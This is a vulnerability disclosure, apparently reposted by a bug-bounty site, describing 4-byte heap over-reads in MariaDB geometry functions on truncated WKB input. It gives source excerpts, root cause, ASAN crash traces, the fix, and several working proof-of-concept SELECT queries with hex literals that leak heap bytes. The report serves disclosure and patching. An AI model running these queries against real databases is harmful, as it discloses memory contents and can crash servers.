Spatial functions perform 4-byte heap buffer over-reads on truncated WKB inputs
Several MariaDB geometry functions read four bytes from a heap buffer without checking that the buffer contains four bytes, so a short crafted WKB hex literal in a SELECT returns adjacent heap memory as an integer. An authenticated user can therefore disclose up to four bytes of heap memory per query, and on ASAN builds the same query crashes the server.
- Triaged in 6 days
- Fixed in 3 months
- Disclosed after 8 months
Summary
Multiple geometry functions perform out-of-bounds reads from heap memory when given
crafted WKB input. The functions num_geometries() and num_points()
in sql/spatial.cc read 4 bytes via uint4korr(m_data) without first checking that
4 bytes are available in the buffer. When the input payload is shorter than 4 bytes,
the remaining bytes are read from adjacent heap memory and returned to the client as
part of the integer result. As such, each invocation can disclose up to 4 bytes of adjacent
heap memory.
The root cause is missing no_data() bounds checks. The safe version of the same
function (Gis_geometry_collection::num_geometries()) correctly performs this check
and returns an error. The affected functions skip it.
The input validation gateway Geometry::construct() (sql/spatial.cc:346) only verifies
that total input length >= 9 bytes and the geometry type ID is valid. It does not perform
structural validation of the payload. This means crafted hex literals in SELECT
statements bypass all validation and reach the vulnerable functions directly.
The MDEV-38372 fix added is_binary_valid() checking to Field_geom::store()
(the INSERT-into-column path), but this doesn't protect the direct-expression path
through geometry functions like SELECT ST_NumGeometries(x'...').
Environment
- MariaDB 12.2.2-MariaDB-deb12,
- MariaDB 12.2.2-MariaDB-asan-debug
- Debian 12 (Bookworm), x86_64
- Default installation, InnoDB, no special configuration
Affected Code
1. Gis_multi_line_string::num_geometries() - sql/spatial.cc:3372
int Gis_multi_line_string::num_geometries(uint32 *num) const
{
*num= uint4korr(m_data); // reads 4 bytes, no bounds check
return 0;
}
The same bug exists in Gis_multi_point::num_geometries() and
Gis_multi_polygon::num_geometries().
Compare with the safe version, Gis_geometry_collection::num_geometries():
int Gis_geometry_collection::num_geometries(uint32 *num) const
{
if (no_data(m_data, 4)) // bounds check present
return 1;
*num= uint4korr(m_data);
return 0;
}
2. Gis_line_string::num_points() - sql/spatial.cc:1695
int Gis_line_string::num_points(uint32 *n_points) const
{
*n_points= uint4korr(m_data); // reads 4 bytes, no bounds check
return 0;
}
3. Geometry::construct() - sql/spatial.cc:346 (no structural validation)
Geometry *Geometry::construct(Geometry_buffer *buffer,
const char *data, uint32 data_len)
{
uint32 geom_type;
Geometry *result;
if (data_len < SRID_SIZE + WKB_HEADER_SIZE) // only checks >= 9 bytes
return NULL;
geom_type= uint4korr(data + SRID_SIZE + 1);
if (!(result= create_by_typeid(buffer, (int) geom_type)))
return NULL;
result->m_data= data+ SRID_SIZE + WKB_HEADER_SIZE;
result->m_data_end= data + data_len;
return result; // no structural validation of payload
}
Proof of Concept
PoC 1: Heap leak via ST_NumGeometries (MULTILINESTRING, 0 payload bytes)
SELECT ST_NumGeometries(x'000000000105000000');
Input is exactly 9 bytes: 4 (SRID) + 5 (WKB header). After construct() strips
the header, m_data points to the end of the allocation with 0 bytes of payload.
num_geometries() reads 4 bytes past the allocation boundary.
Result on normal build: Returns 16777216 (or similar non-zero integer, the value
is heap memory content, not derived from input).
Result on ASAN build: Server crashes with:
==9711==ERROR: AddressSanitizer: use-after-poison on address 0x619000080979 at pc 0x55cf9e7ca160 bp 0x7f1861a8e170 sp 0x7f1861a8e168
READ of size 4 at 0x619000080979 thread T12
#0 0x55cf9e7ca15f in Gis_multi_line_string::num_geometries(unsigned int*) const /root/server/sql/spatial.cc:3372
#1 0x55cf9e4b0553 in Item_func_numgeometries::val_int() /root/server/sql/item_geofunc.cc:2419
#2 0x55cf9e04308b in Type_handler::Item_send_long(Item*, Protocol*, st_value*) const /root/server/sql/sql_type.cc:7637
#3 0x55cf9e05f8c3 in Type_handler_long::Item_send(Item*, Protocol*, st_value*) const /root/server/sql/sql_type.h:5893
#4 0x55cf9d4f13cd in Item::send(Protocol*, st_value*) /root/server/sql/item.h:1231
#5 0x55cf9d5ca718 in Protocol::send_result_set_row(List<Item>*) /root/server/sql/protocol.cc:1359
#6 0x55cf9d784071 in select_send::send_data(List<Item>&) /root/server/sql/sql_class.cc:3383
#7 0x55cf9d78350d in select_result_sink::send_data_with_check(List<Item>&, st_select_lex_unit*, unsigned long long) /root/server/sql/sql_class.cc:3281
#8 0x55cf9da0c3b9 in JOIN::exec_inner() /root/server/sql/sql_select.cc:5001
#9 0x55cf9da0b077 in JOIN::exec() /root/server/sql/sql_select.cc:4918
#10 0x55cf9da0f577 in mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*) /root/server/sql/sql_select.cc:5444
#11 0x55cf9d9dcde2 in handle_select(THD*, LEX*, select_result*, unsigned long long) /root/server/sql/sql_select.cc:636
#12 0x55cf9d8fc1db in execute_sqlcom_select /root/server/sql/sql_parse.cc:6203
#13 0x55cf9d8ebe23 in mysql_execute_command(THD*, bool) /root/server/sql/sql_parse.cc:3985
#14 0x55cf9d906cde in mysql_parse(THD*, char*, unsigned int, Parser_state*) /root/server/sql/sql_parse.cc:7925
#15 0x55cf9d8dd854 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool) /root/server/sql/sql_parse.cc:1896
#16 0x55cf9d8da555 in do_command(THD*, bool) /root/server/sql/sql_parse.cc:1432
#17 0x55cf9dde68ac in do_handle_one_connection(CONNECT*, bool) /root/server/sql/sql_connect.cc:1503
#18 0x55cf9dde640b in handle_one_connection /root/server/sql/sql_connect.cc:1415
#19 0x55cf9eb5b01b in pfs_spawn_thread /root/server/storage/perfschema/pfs.cc:2198
#20 0x7f1887aa71f4 in start_thread nptl/pthread_create.c:442
#21 0x7f1887b278db in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x619000080979 is located 505 bytes inside of 1016-byte region [0x619000080780,0x619000080b78)
allocated by thread T12 here:
#0 0x7f18884b89cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x55cf9f95d1ef in my_malloc /root/server/mysys/my_malloc.c:93
#2 0x55cf9f92eec9 in root_alloc /root/server/mysys/my_alloc.c:66
#3 0x55cf9f930894 in alloc_root /root/server/mysys/my_alloc.c:336
#4 0x55cf9f932d21 in memdup_root /root/server/mysys/my_alloc.c:690
#5 0x55cf9d59cba9 in Query_arena::memdup(void const*, unsigned long) const /root/server/sql/sql_class.h:1368
#6 0x55cf9d6cf20f in send_server_handshake_packet /root/server/sql/sql_acl.cc:13844
#7 0x55cf9d6d5958 in server_mpvio_write_packet /root/server/sql/sql_acl.cc:14711
#8 0x55cf9d6db4a4 in native_password_authenticate /root/server/sql/sql_acl.cc:15396
#9 0x55cf9d6d7be0 in do_auth_once /root/server/sql/sql_acl.cc:14986
#10 0x55cf9d6d8b41 in acl_authenticate(THD*, unsigned int) /root/server/sql/sql_acl.cc:15115
#11 0x55cf9dde51bd in check_connection /root/server/sql/sql_connect.cc:1175
#12 0x55cf9dde54f1 in login_connection /root/server/sql/sql_connect.cc:1241
#13 0x55cf9dde6471 in thd_prepare_connection(THD*) /root/server/sql/sql_connect.cc:1429
#14 0x55cf9dde6870 in do_handle_one_connection(CONNECT*, bool) /root/server/sql/sql_connect.cc:1493
#15 0x55cf9dde640b in handle_one_connection /root/server/sql/sql_connect.cc:1415
#16 0x55cf9eb5b01b in pfs_spawn_thread /root/server/storage/perfschema/pfs.cc:2198
#17 0x7f1887aa71f4 in start_thread nptl/pthread_create.c:442
Thread T12 created by T0 here:
#0 0x7f1888449726 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:207
#1 0x55cf9eb56dbd in my_thread_create /root/server/storage/perfschema/my_thread.h:38
#2 0x55cf9eb5b40a in pfs_spawn_thread_v1 /root/server/storage/perfschema/pfs.cc:2249
#3 0x55cf9d4c4cb0 in inline_mysql_thread_create /root/server/include/mysql/psi/mysql_thread.h:1139
#4 0x55cf9d4ddbee in create_thread_to_handle_connection(CONNECT*) /root/server/sql/mysqld.cc:6280
#5 0x55cf9d4de213 in create_new_thread(CONNECT*) /root/server/sql/mysqld.cc:6342
#6 0x55cf9d4de4fe in handle_accepted_socket(st_mysql_socket, st_mysql_socket) /root/server/sql/mysqld.cc:6404
#7 0x55cf9d4df19a in handle_connections_sockets() /root/server/sql/mysqld.cc:6516
#8 0x55cf9d4dbd74 in run_main_loop /root/server/sql/mysqld.cc:5758
#9 0x55cf9d4dd4a9 in mysqld_main(int, char**) /root/server/sql/mysqld.cc:6181
#10 0x55cf9d4c3f78 in main /root/server/sql/main.cc:34
#11 0x7f1887a45249 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: use-after-poison /root/server/sql/spatial.cc:3372 in Gis_multi_line_string::num_geometries(unsigned int*) const
Shadow bytes around the buggy address:
0x0c32800080d0: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c32800080e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c32800080f0: 00 00 00 00 00 00 f7 00 00 05 f7 01 f7 00 00 00
0x0c3280008100: 00 00 00 00 00 00 00 00 00 00 00 00 00 01 f7 00
0x0c3280008110: 00 00 00 00 07 f7 00 00 f7 00 00 03 f7 00 00 00
=>0x0c3280008120: 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00[02]
0x0c3280008130: f7 00 00 00 00 00 00 00 00 f7 00 00 00 f7 00 00
0x0c3280008140: f7 00 00 00 00 00 00 01 f7 00 00 00 00 00 00 00
0x0c3280008150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3280008160: 00 00 00 00 f7 00 00 f7 00 00 f7 00 00 f7 f7 fa
0x0c3280008170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9711==ABORTING
PoC 2: Partial payload confirms heap bytes in returned value
SELECT ST_NumGeometries(x'0000000001050000004142');
2 payload bytes (0x41 0x42 = "AB"). num_geometries() reads 4 bytes starting at
m_data: the first 2 are our input, the remaining 2 are read from past the allocation
boundary.
Result on normal build: Returns 805323329, which decodes (little-endian) to bytes
41 42 00 30, our AB plus 2 bytes from adjacent heap memory (0x00 0x30).
This value is consistent across repeated runs.
ASAN build: Same crash as PoC 1, same stack trace.
PoC 3: Heap leak via ST_NumPoints (LINESTRING, 0 payload bytes)
SELECT ST_NumPoints(x'000000000102000000');
Different geometry type (LINESTRING, type 2), different vulnerable function
(num_points() instead of num_geometries()).
Result on normal build: Returns 761498880 (heap memory content).
Result on ASAN build:
==10061==ERROR: AddressSanitizer: use-after-poison on address 0x619000080971 at pc 0x563d1fd99226 bp 0x7fa77c506170 sp 0x7fa77c506168
READ of size 4 at 0x619000080971 thread T12
#0 0x563d1fd99225 in Gis_line_string::num_points(unsigned int*) const /root/server/sql/spatial.cc:1695
#1 0x563d1fa8aa15 in Item_func_numpoints::val_int() /root/server/sql/item_geofunc.cc:2436
#2 0x563d1f61d08b in Type_handler::Item_send_long(Item*, Protocol*, st_value*) const /root/server/sql/sql_type.cc:7637
#3 0x563d1f6398c3 in Type_handler_long::Item_send(Item*, Protocol*, st_value*) const /root/server/sql/sql_type.h:5893
#4 0x563d1eacb3cd in Item::send(Protocol*, st_value*) /root/server/sql/item.h:1231
#5 0x563d1eba4718 in Protocol::send_result_set_row(List<Item>*) /root/server/sql/protocol.cc:1359
#6 0x563d1ed5e071 in select_send::send_data(List<Item>&) /root/server/sql/sql_class.cc:3383
#7 0x563d1ed5d50d in select_result_sink::send_data_with_check(List<Item>&, st_select_lex_unit*, unsigned long long) /root/server/sql/sql_class.cc:3281
#8 0x563d1efe63b9 in JOIN::exec_inner() /root/server/sql/sql_select.cc:5001
#9 0x563d1efe5077 in JOIN::exec() /root/server/sql/sql_select.cc:4918
#10 0x563d1efe9577 in mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*) /root/server/sql/sql_select.cc:5444
#11 0x563d1efb6de2 in handle_select(THD*, LEX*, select_result*, unsigned long long) /root/server/sql/sql_select.cc:636
#12 0x563d1eed61db in execute_sqlcom_select /root/server/sql/sql_parse.cc:6203
#13 0x563d1eec5e23 in mysql_execute_command(THD*, bool) /root/server/sql/sql_parse.cc:3985
#14 0x563d1eee0cde in mysql_parse(THD*, char*, unsigned int, Parser_state*) /root/server/sql/sql_parse.cc:7925
#15 0x563d1eeb7854 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool) /root/server/sql/sql_parse.cc:1896
#16 0x563d1eeb4555 in do_command(THD*, bool) /root/server/sql/sql_parse.cc:1432
#17 0x563d1f3c08ac in do_handle_one_connection(CONNECT*, bool) /root/server/sql/sql_connect.cc:1503
#18 0x563d1f3c040b in handle_one_connection /root/server/sql/sql_connect.cc:1415
#19 0x563d2013501b in pfs_spawn_thread /root/server/storage/perfschema/pfs.cc:2198
#20 0x7fa7a26a71f4 in start_thread nptl/pthread_create.c:442
#21 0x7fa7a27278db in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x619000080971 is located 497 bytes inside of 1016-byte region [0x619000080780,0x619000080b78)
allocated by thread T12 here:
#0 0x7fa7a30b89cf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x563d20f371ef in my_malloc /root/server/mysys/my_malloc.c:93
#2 0x563d20f08ec9 in root_alloc /root/server/mysys/my_alloc.c:66
#3 0x563d20f0a894 in alloc_root /root/server/mysys/my_alloc.c:336
#4 0x563d20f0cd21 in memdup_root /root/server/mysys/my_alloc.c:690
#5 0x563d1eb76ba9 in Query_arena::memdup(void const*, unsigned long) const /root/server/sql/sql_class.h:1368
#6 0x563d1eca920f in send_server_handshake_packet /root/server/sql/sql_acl.cc:13844
#7 0x563d1ecaf958 in server_mpvio_write_packet /root/server/sql/sql_acl.cc:14711
#8 0x563d1ecb54a4 in native_password_authenticate /root/server/sql/sql_acl.cc:15396
#9 0x563d1ecb1be0 in do_auth_once /root/server/sql/sql_acl.cc:14986
#10 0x563d1ecb2b41 in acl_authenticate(THD*, unsigned int) /root/server/sql/sql_acl.cc:15115
#11 0x563d1f3bf1bd in check_connection /root/server/sql/sql_connect.cc:1175
#12 0x563d1f3bf4f1 in login_connection /root/server/sql/sql_connect.cc:1241
#13 0x563d1f3c0471 in thd_prepare_connection(THD*) /root/server/sql/sql_connect.cc:1429
#14 0x563d1f3c0870 in do_handle_one_connection(CONNECT*, bool) /root/server/sql/sql_connect.cc:1493
#15 0x563d1f3c040b in handle_one_connection /root/server/sql/sql_connect.cc:1415
#16 0x563d2013501b in pfs_spawn_thread /root/server/storage/perfschema/pfs.cc:2198
#17 0x7fa7a26a71f4 in start_thread nptl/pthread_create.c:442
Thread T12 created by T0 here:
#0 0x7fa7a3049726 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:207
#1 0x563d20130dbd in my_thread_create /root/server/storage/perfschema/my_thread.h:38
#2 0x563d2013540a in pfs_spawn_thread_v1 /root/server/storage/perfschema/pfs.cc:2249
#3 0x563d1ea9ecb0 in inline_mysql_thread_create /root/server/include/mysql/psi/mysql_thread.h:1139
#4 0x563d1eab7bee in create_thread_to_handle_connection(CONNECT*) /root/server/sql/mysqld.cc:6280
#5 0x563d1eab8213 in create_new_thread(CONNECT*) /root/server/sql/mysqld.cc:6342
#6 0x563d1eab84fe in handle_accepted_socket(st_mysql_socket, st_mysql_socket) /root/server/sql/mysqld.cc:6404
#7 0x563d1eab919a in handle_connections_sockets() /root/server/sql/mysqld.cc:6516
#8 0x563d1eab5d74 in run_main_loop /root/server/sql/mysqld.cc:5758
#9 0x563d1eab74a9 in mysqld_main(int, char**) /root/server/sql/mysqld.cc:6181
#10 0x563d1ea9df78 in main /root/server/sql/main.cc:34
#11 0x7fa7a2645249 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: use-after-poison /root/server/sql/spatial.cc:1695 in Gis_line_string::num_points(unsigned int*) const
Shadow bytes around the buggy address:
0x0c32800080d0: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c32800080e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c32800080f0: 00 00 00 00 00 00 f7 00 00 05 f7 01 f7 00 00 00
0x0c3280008100: 00 00 00 00 00 00 00 00 00 00 00 00 05 f7 00 00
0x0c3280008110: 00 00 00 03 f7 00 00 f7 00 00 03 f7 00 00 00 00
=>0x0c3280008120: 00 00 00 00 00 00 00 00 00 00 00 00 f7 00[02]f7
0x0c3280008130: 00 00 00 00 00 00 00 00 f7 00 00 00 f7 00 00 f7
0x0c3280008140: 00 00 00 00 05 f7 00 00 00 00 00 00 00 00 00 00
0x0c3280008150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3280008160: 00 f7 00 00 f7 00 00 f7 00 00 f7 00 00 f7 f7 fa
0x0c3280008170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==10061==ABORTING
Control: GEOMETRYCOLLECTION returns NULL (has bounds check)
SELECT ST_NumGeometries(x'000000000107000000');
Result: NULL
Gis_geometry_collection::num_geometries() correctly calls
no_data(m_data, 4), detects insufficient data, and returns an error. This confirms
the fix is simply adding the same bounds check to the affected functions.
Additional affected geometry types (same bug, same result)
-- MULTIPOINT (type 4), same leak
SELECT ST_NumGeometries(x'000000000104000000');
-- MULTIPOLYGON (type 6), same leak
SELECT ST_NumGeometries(x'000000000106000000');
Both return the same leaked value as MULTILINESTRING, confirming that
Gis_multi_point::num_geometries() and Gis_multi_polygon::num_geometries()
have the same missing bounds check.
Impact
Heap Information Disclosure
The leaked 4 bytes come from heap memory adjacent to the input allocation. On a non-ASAN production build, the leaked data is returned to the client as an integer value. The contents of the leaked bytes depend on heap layout and what the allocator placed adjacent to the input buffer.
Denial of Service (ASAN/debug builds)
On ASAN-instrumented builds, these queries crash the server immediately due to invalid memory access.
No Special Privileges Required
The vulnerability is triggered by a SELECT with a hex literal. No special table or
database privileges are required. Any authenticated user with permission to execute SELECT
statements can reach the vulnerable path.
Affected Versions
Confirmed on 12.2.2. Source inspection of 10.6.25 shows the same vulnerable implementations without bounds checks. As such, the issue likely affects all currently-maintained MariaDB versions.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The affected geometry functions call uint4korr on m_data without first calling no_data(m_data, 4), and Geometry::construct only checks total length and type ID rather than validating the payload structure.
Impact
An authenticated user with SELECT permission can disclose up to four bytes of adjacent heap memory per query, and on ASAN-instrumented builds the same queries crash the server.
What the attacker needed
Authenticated database user; permission to run SELECT
The fix
The affected functions should add the same no_data(m_data, 4) bounds check that Gis_geometry_collection::num_geometries already uses.
How it was found
- Connect to MariaDB as any user allowed to run SELECT.
- Run a SELECT calling ST_NumGeometries on a 9-byte hex literal whose WKB header declares a MULTILINESTRING with no payload.
- Observe the returned integer contains heap bytes beyond the input.
- Repeat with ST_NumPoints and a LINESTRING header to reach the other vulnerable function.
- On an ASAN build, observe the server abort with a use-after-poison report.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A database function that reads a geometry value assumes at least four bytes are present and reads four bytes anyway. If the input is shorter, it reads whatever happens to sit next to the input in memory and returns that as a number. This lets a logged-in user see small pieces of memory they should not see, and on a special debug build it crashes the database.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.